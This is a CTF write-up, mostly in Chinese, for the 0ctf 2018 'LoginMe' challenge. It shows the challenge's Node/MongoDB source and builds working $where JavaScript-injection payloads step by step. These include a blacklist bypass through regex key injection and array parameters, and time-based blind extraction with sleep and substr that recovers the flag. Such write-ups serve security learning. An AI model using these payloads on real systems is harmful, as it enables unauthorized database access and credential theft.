0ctf2018 LoginMe writeup

LoginMe

awesome web game~

代码审计2333

var express = require('express')
var app = express()

var bodyParser = require('body-parser')
app.use(bodyParser.urlencoded({}));

var path    = require("path");
var moment = require('moment');
var MongoClient = require('mongodb').MongoClient;
var url = "mongodb://localhost:27017/";

MongoClient.connect(url, function(err, db) {
    if (err) throw err;
    dbo = db.db("test_db");
    var collection_name = "users";
    var password_column = "password_"+Math.random().toString(36).slice(2)
    var password = "XXXXXXXXXXXXXXXXXXXXXX";
    // flag is flag{password}
    var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')};
    myobj[password_column] = password;
    dbo.collection(collection_name).remove({});//删除collection里的全部
    dbo.collection(collection_name).update(
        { name: myobj.name },
        myobj,
        { upsert: true }
    );

    app.get('/', function (req, res) {
        res.sendFile(path.join(__dirname,'index.html'));
    })
    app.post('/check', function (req, res) {
        var check_function = 'if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}';

        for(var k in req.body){
            var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1}); //blacklist # ( )
            if(!valid) res.send('Nope');
            check_function = check_function.replace(
                new RegExp('#'+k+'#','gm'),JSON.stringify(req.body[k])) // 全局多行匹配出username password 并填入字符
        }
        var query = {"$where" : check_function};
        var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}}
        dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
            if(e) throw e;
            res.send("ok");
            // ... implementing, plz dont release this.
        });
    })
    app.listen(8081)

});
//update({ '$where': 'if(""== this.password_zt92exaa9kfenrk9){\nreturn 1;\n}else{\nreturn 0;}' },{$set:{last_access:"123123"}})

每行代码都很重要

双引号的逃逸用了几乎一天

$1:

username=admin#password#&password=||

可以修改时间,算是一个注入吧~然而没有卵用

$2

正则存在注入因此可以控制我们的输入(哭唧唧,但是实际上这个payload还是很复杂的,绕过检测利用了express本身的缺陷,但是单个数组传参并不能解决问题,依旧是nope,因此至少需要一个数组一个正常传参才能绕过

首先我们通过正则将check_function控制在可控范围内

|#|=&|this.*\) |=

check_function1

接下来就是想着怎么实现这个获取信息的工作

因为

dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
            if(e) throw e;
            res.send("ok");

没有数据回显,因此选择时间盲注,使return 1可控

|1;|[]=%2b%20sleep(5000)%2b&|"|=

check_function2

然后就是困扰了我一晚上的地方如何单字节获取数据,因为根据现在的payload,无法单字节爆破,只能整个字符串爆破,那么他的次数也就是可怖的16^32次,时间上不可能,那么寻找突破

|""|=%2b'e'%2b&|(this.password_\w*)|[]=%2b$1.substr(11,1)%2b

首先将第一个""的位置变得可控

|""|=%2b'e'%2b

然后将this.password_\w变成我们想要的String.substr(0,1)

|(this.password_\w*)|[]=%2b$1.substr(11,1)%2b

最后将所有思路合并,变成一个沉甸甸的payload

|#|=&|this.*\) |=&|""|=%2b'e'%2b&|(this.password_\w*)|[]=%2b$1.substr(11,1)%2b&|1;|[]=%2b%20sleep(5000)%2b&|"|=

check_function3

$last step

burp

burp

bingo: flag{13fc892df79a86494792e14dcbef252a}

此处评论已关闭